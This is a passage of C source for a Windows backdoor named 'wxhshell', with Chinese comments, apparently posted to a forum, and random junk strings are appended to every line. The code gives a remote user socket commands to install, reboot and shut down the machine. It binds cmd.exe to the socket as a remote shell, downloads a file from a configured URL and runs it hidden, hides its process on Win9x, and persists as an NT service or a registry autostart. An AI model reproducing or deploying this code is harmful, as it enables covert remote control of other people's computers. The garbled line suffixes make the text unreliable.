      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "|^-Yk\U  
    break; [a[.tR38e  
  } b$JrLZs$_  
  // 安装 6>Z)w}x^  
  case 'i': { N87)rhXSo,  
    if(Install()) ;ipT0*Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EZee kxs  
    else WZQ EBXs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6g-Q  
    break; (~ `?_  
    } Jmml2?V-c  
  // 卸载 qGXY  
  case 'r': { 8t5o&8v  
    if(Uninstall()) -FGM>~x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /7fD;H^*  
    else ' 5xvR G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g@2f& m  
    break; M->BV9  
    } L']"I^( N  
  // 显示 wxhshell 所在路径 &`%J1[dy  
  case 'p': { !Pc&Sg  
    char svExeFile[MAX_PATH]; Wi+}qO  
    strcpy(svExeFile,"\n\r"); Z'!i"Jzq|{  
      strcat(svExeFile,ExeFile); V]5MIiNl  
        send(wsh,svExeFile,strlen(svExeFile),0); oiTSpd-  
    break; h3rVa6cxM  
    } QF4)@ r{2x  
  // 重启 Aryp!oW  
  case 'b': { ?P%-p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); % 4Gt^:J"  
    if(Boot(REBOOT)) HD YWDp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $z[@DB[  
    else { ^5n#hSqZ=M  
    closesocket(wsh); PSHzB! H=n  
    ExitThread(0); <;lwvO  
    } ey@{Ng#  
    break; TFG0~"4Cz  
    } 7tP qez#  
  // 关机 HJ+ Q7)  
  case 'd': { v83@J~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  Eyq4w  
    if(Boot(SHUTDOWN)) X6Q\NJ"B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H{4_,2h =m  
    else { :SD#>eD0  
    closesocket(wsh); "DC L Z  
    ExitThread(0); g-4j1yJV<  
    } JI[{n~bhGD  
    break; M)"'Q6ck=  
    } @gnLY  
  // 获取shell jR2^n`D  
  case 's': { odTa 2$O  
    CmdShell(wsh); HV=P! v6  
    closesocket(wsh); 1$)}EL   
    ExitThread(0); & d_2WQ}  
    break; sH.,O9'r  
  } JLak>MS  
  // 退出 GMlJM  
  case 'x': { Yq>K1E|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lFN|)(X  
    CloseIt(wsh); Y~k,AJ{ ^  
    break; q&2L@l3A  
    } hplxs#  
  // 离开 sQmJ3 (:HO  
  case 'q': { m(w9s;<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +Kp8X53  
    closesocket(wsh); ()W`4p  
    WSACleanup(); j;J`P H  
    exit(1); GmH`ipi  
    break; 5c0$oyl)M  
        } 5VSc5*[  
  } M=54xTh0Y  
  } /V }Z,'+  
FA{'Ki`  
  // 提示信息 meYGIP:n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v, !`A!{D  
} *G8Z[ht%r  
  } R0urt  
Py\/p Fvg  
  return; 5fy{!  
} a$3] `  
quS]26wQz  
// shell模块句柄 i1 c[Gk.o  
int CmdShell(SOCKET sock) wpD}#LRfm  
{ eExI3"|Q  
STARTUPINFO si; }yaM.+8.  
ZeroMemory(&si,sizeof(si)); |j4p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QYEGiT   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?-'GbOr!  
PROCESS_INFORMATION ProcessInfo; <m,bP c :R  
char cmdline[]="cmd"; = \M6s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n?QglN  
  return 0; K7t_Q8  
} aF[#(PF  
Sq x'nXgO  
// 自身启动模式 Te`MIR  
int StartFromService(void) NNMn,J  
{ #~4;yY\$I  
typedef struct Myf2"\}  
{ ,0eXg  
  DWORD ExitStatus; LK<ZF=z]Z  
  DWORD PebBaseAddress; ^O& y ;5  
  DWORD AffinityMask; MaLH2?je^n  
  DWORD BasePriority; 'Hsd7Dpi}  
  ULONG UniqueProcessId; n5y0$S/ D  
  ULONG InheritedFromUniqueProcessId; y+ 4#Iy  
}   PROCESS_BASIC_INFORMATION; K j~!E H"  
}l&y8,[:  
PROCNTQSIP NtQueryInformationProcess; 6,!$S2(zT  
!{CaW4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )<$<9!L4x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <Ira~N  
Z&n#*rQ7[  
  HANDLE             hProcess; |Y v,zEY)  
  PROCESS_BASIC_INFORMATION pbi; l=L(pS3 ~  
[ OS& eK 8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T%A"E,#  
  if(NULL == hInst ) return 0; ==S^IBG  
OVE?;x>n/1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |xT'+~u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?7"v~d]>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w,j;XPp  
bAld'z#  
  if (!NtQueryInformationProcess) return 0; mnx`e>0  
;M"[dy`dY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rH'|$~a  
  if(!hProcess) return 0; B>[myx  
jhkX U+4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tF\_AvL_8  
ANfy+@  
  CloseHandle(hProcess);  pLM?m  
nd[Ja_h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l5D4 ?`|  
if(hProcess==NULL) return 0; Y?-Ef sK  
{"*_++|  
HMODULE hMod; pb G5y7  
char procName[255]; )$K\:w>  
unsigned long cbNeeded; v3(0Mu0J  
ZiRCiQ/?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k"6v& O  
|E;+j\   
  CloseHandle(hProcess); \YHl(  
+|H,N7a<  
if(strstr(procName,"services")) return 1; // 以服务启动 GiKhdy  
""m/?TZq'  
  return 0; // 注册表启动 ~%h&ELSw  
} J ~KygQ3%  
v5&W)F  
// 主模块 oi8M6l  
int StartWxhshell(LPSTR lpCmdLine) ge1U1o  
{ (hh^?  
  SOCKET wsl; AmQsay#I_  
BOOL val=TRUE; `6BQ6)7  
  int port=0; Wz#ZkNO  
  struct sockaddr_in door; g`~;"%u7cn  
etQS&YzC  
  if(wscfg.ws_autoins) Install(); bP,Ka  
>qUD_U3A  
port=atoi(lpCmdLine); /B|"<`-H  
CAmIwAx6;  
if(port<=0) port=wscfg.ws_port; ff=RKKnN  
xe9\5Gb}  
  WSADATA data; x3F94+<n{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7%G&=8tq  
_#uRKy<`N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I}m>t}QRI_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YN~1.!F  
  door.sin_family = AF_INET; uJ8FzS>[V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nU0##  
  door.sin_port = htons(port); O-box?  
x=X&b%09  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DiZ;FHnaG?  
closesocket(wsl); @!|h!p;  
return 1; foB&H;A4oC  
} U[:=7UABU?  
L">m2/ HG  
  if(listen(wsl,2) == INVALID_SOCKET) { Vt-V'`Y  
closesocket(wsl); eu?P6>urA  
return 1; [{#n?BT  
} P.(z)!]  
  Wxhshell(wsl); 0DN&HMI#  
  WSACleanup(); AS0mM HJk  
rB|4  
return 0; jo<Gf 5  
6/vMK<Fz9  
} )i&9)_ro  
Ij>x3L\-  
// 以NT服务方式启动  5#JGNxO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 84[T!cDk  
{ i70TJk$fs  
DWORD   status = 0; ;czMsHu0X  
  DWORD   specificError = 0xfffffff; h'wOslyFa  
jnFCt CB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T*>n a8W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tBe)#-O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Oqzz9+  
  serviceStatus.dwWin32ExitCode     = 0; uV<I!jyI  
  serviceStatus.dwServiceSpecificExitCode = 0; nf!RB-orF  
  serviceStatus.dwCheckPoint       = 0; HxJKS*H;  
  serviceStatus.dwWaitHint       = 0; Z~o*$tF/  
_xign 3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~~ ]/<d  
  if (hServiceStatusHandle==0) return; Q[i/]  
eW)(u$C|qL  
status = GetLastError(); yEUFK  
  if (status!=NO_ERROR) -}k'a{sj=  
{ a#W:SgE?Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -bSe=09;S|  
    serviceStatus.dwCheckPoint       = 0; TEOV>Tt  
    serviceStatus.dwWaitHint       = 0; NUBzmnA>8  
    serviceStatus.dwWin32ExitCode     = status; N1WP  
    serviceStatus.dwServiceSpecificExitCode = specificError; #5O'XH5_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); POTW+Zq]  
    return; ZjY_AbD  
  } 2XrPgq'  
_)Uw-vhQiT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $DW3H1iW  
  serviceStatus.dwCheckPoint       = 0; QOIi/flK  
  serviceStatus.dwWaitHint       = 0; [@[!esC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0~RsdQGqC  
} KC o<%  
>%+ "-bY  
// 处理NT服务事件,比如:启动、停止 wJh|$Vn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ke|v|@  
{ !c:Q+:,H  
switch(fdwControl) -yeQQ4b  
{ H V<|eL #  
case SERVICE_CONTROL_STOP: 2}]6~i  
  serviceStatus.dwWin32ExitCode = 0; zvL&V .>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2;%DE<Z  
  serviceStatus.dwCheckPoint   = 0; rq9{m(  
  serviceStatus.dwWaitHint     = 0; #(h~l> r  
  { Mm-FdP m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0.O pgv2K  
  } c&)H   
  return; g^8dDY[%  
case SERVICE_CONTROL_PAUSE: mp0p#8txi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /7*jH2  
  break; cO<]%L0  
case SERVICE_CONTROL_CONTINUE: ]>/YU*\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8+ eZU<\B(  
  break; 'T7JXV5  
case SERVICE_CONTROL_INTERROGATE: C=@BkneQ  
  break; R B.j@*  
}; _`/0/69  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [e3|yE6  
} gB&]kHLO  
Nv*x^y]  
// 标准应用程序主函数 nFW^^v<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MjE.pb  
{ F^_d8=67h  
YS?P A#  
// 获取操作系统版本 p\:_E+lsU  
OsIsNt=GetOsVer(); FFbMG:>:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J[YA1  
{d}-SoxH  
  // 从命令行安装 0ang~_  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?Li^XONz  
 g}Hk4+  
  // 下载执行文件 |_F-Abk  
if(wscfg.ws_downexe) { _XXK1H x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2F!K }aw  
  WinExec(wscfg.ws_filenam,SW_HIDE); oF.Fg<p (  
} u A C:&  
!/< 5.9!9r  
if(!OsIsNt) { PZNo.0M70  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qat%<;P2  
HideProc(); `m3@mJ!>\  
StartWxhshell(lpCmdLine); h|=^@F_\`  
} T_Z@uZom.  
else Rt7}e09HV  
  if(StartFromService()) M=yZ5~3  
  // 以服务方式启动 E=~H,~  
  StartServiceCtrlDispatcher(DispatchTable); -/x +M-X#  
else Vnh +2XiK  
  // 普通方式启动 edGV[=]F  
  StartWxhshell(lpCmdLine); qqw6p j  
Ep5lm zg  
return 0; r{\cm Ds  
}
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只看该作者 1 发表于: 2006-10-10
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